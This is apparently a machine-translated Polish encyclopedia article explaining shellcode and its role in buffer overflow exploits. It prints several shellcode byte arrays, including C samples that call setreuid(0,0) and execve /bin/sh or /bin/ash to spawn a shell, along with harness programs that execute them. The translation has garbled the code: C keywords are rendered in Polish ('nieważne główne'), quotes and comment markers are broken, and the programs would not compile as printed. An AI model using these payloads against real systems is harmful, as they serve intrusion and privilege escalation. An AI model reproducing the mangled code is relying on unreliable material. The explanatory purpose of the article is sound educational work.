close

Kod powłoki

Przejdź do nawigacji Przejdź do wyszukiwania

Shellcode to zestaw poleceń ogólnie programowanych w języku asemblerowym i przekazywanych do opkodów (zestaw wartości szesnastkowych), które są zwykle wstrzykiwane do stosu wykonawczego (lub stosu) programu, aby komputer, na którym się znajduje, wykonał zaplanowaną operację .

Termin

Termin szelkod wywodzi się z ich ogólnego przeznaczenia, był to fragment exploita wykorzystywanego do uzyskania powłoki , jest to obecnie najczęstszy cel, do którego są używane.

Przykładowy kod powłoki Pascala

Do wykonania szelkodu zwykle używany jest język wyższego poziomu, taki jak język Pascal . Kody operacji uzyskane z naszego kodu asemblera są wymienione w tablicy typu byte i ładowane do prototypu, który ma zostać wywołany.

Oto przykład szelkodu:

 Uruchom prototyp
 
 „Zmienne. 
 Var ShellCode[]: Byte  ' Tablica bajtów dla kodu OpCode.. 
 Var Prototype:Exec    ' Prototyp, który wykona ShellCode.
 
 ' Zainicjuj/załaduj kod ShellCode.
 ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _
 		,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _
 		,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _
 		,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _
 		,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _
 		,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _
 		,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_
 		,&49,&0b,&31,&c0,&51,&50,&ff,&d7]
 
 „Ustawiamy wykonanie kodu prototypu.
 Prototyp@ = Kod Powłoki[0]@
 
 ' Wykonujemy ShellCode.
 Prototyp

Jak widać, opkody to wartości szesnastkowe, które są konwertowane na bajty (wartości całkowite między 0 a 255), które system operacyjny rozumie jako wykonywany kod asemblera.

Przykładowy kod powłoki C

Poniższy przykład pokazuje szelkod zawarty w tablicy programu napisanego w języku C:

char kod powłoki[]=          
    "\x31\xc0" /* xorl %eax,%eax */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\x31\xc9" /* xorl %ecx,%ecx */
    "\xb0\x46" /* mov $0x46,%al */
    "\xcd\x80" /* int $0x80 */
    "\x50" /* pushl %eax */
    "\x68""/ash" /* pushl $0x6873612f */
    "\x68""/bin" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,%ebx */
    "\x50" /* pushl %eax */
    "\x53" /* pushl %ebx */
    "\x89\xe1" /* movl %esp,%ecx */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80" /* int $0x80 */
;

Więc mamy, że shellcode to kod maszynowy zapisany w notacji szesnastkowej . Są one później używane w programach napisanych w C, jak w następującym przykładowym szelkodzie:

// kod powłoki.c
// skompiluj za pomocą gcc shellcode.c -o shellcode
nieważne główne ()
{
((nieważny(*)(nieważny))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
„\x63\x6c\x20\x3d\x29”
}
)();
}

Lub ten inny:

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
                   "\x0b\xcd\x80";
intmain()
{
    nieważne (*fp)();
    fp = (nieważny*) &shellcode;
    fp();
}

Informacje

Kody powłoki muszą być krótkie, aby mogły zostać wstrzyknięte do stosu, który zazwyczaj zajmuje niewielką przestrzeń.

Shellcodes są używane do wykonywania kodu, wykorzystując pewne luki w kodzie zwane przepełnieniami bufora . Głównie szelkod jest zaprogramowany tak, aby umożliwić uruchomienie interpretera poleceń na zainfekowanym komputerze.

Często podczas kompilacji szelkodu wytwarzane są bajty null , które należy z niego usunąć, ponieważ zatrzymałyby one wykonanie szelkodu. W tym celu programista używa różnych technik, takich jak zamiana instrukcji generujących bajty NULL na inne, które tego nie robią lub wykonanie operacji XOR, przejście do mniejszych rejestrów (takich jak AH, AL), a tym samym umożliwienie naprawdę wstrzykiwania kodu powłoki .

Zobacz także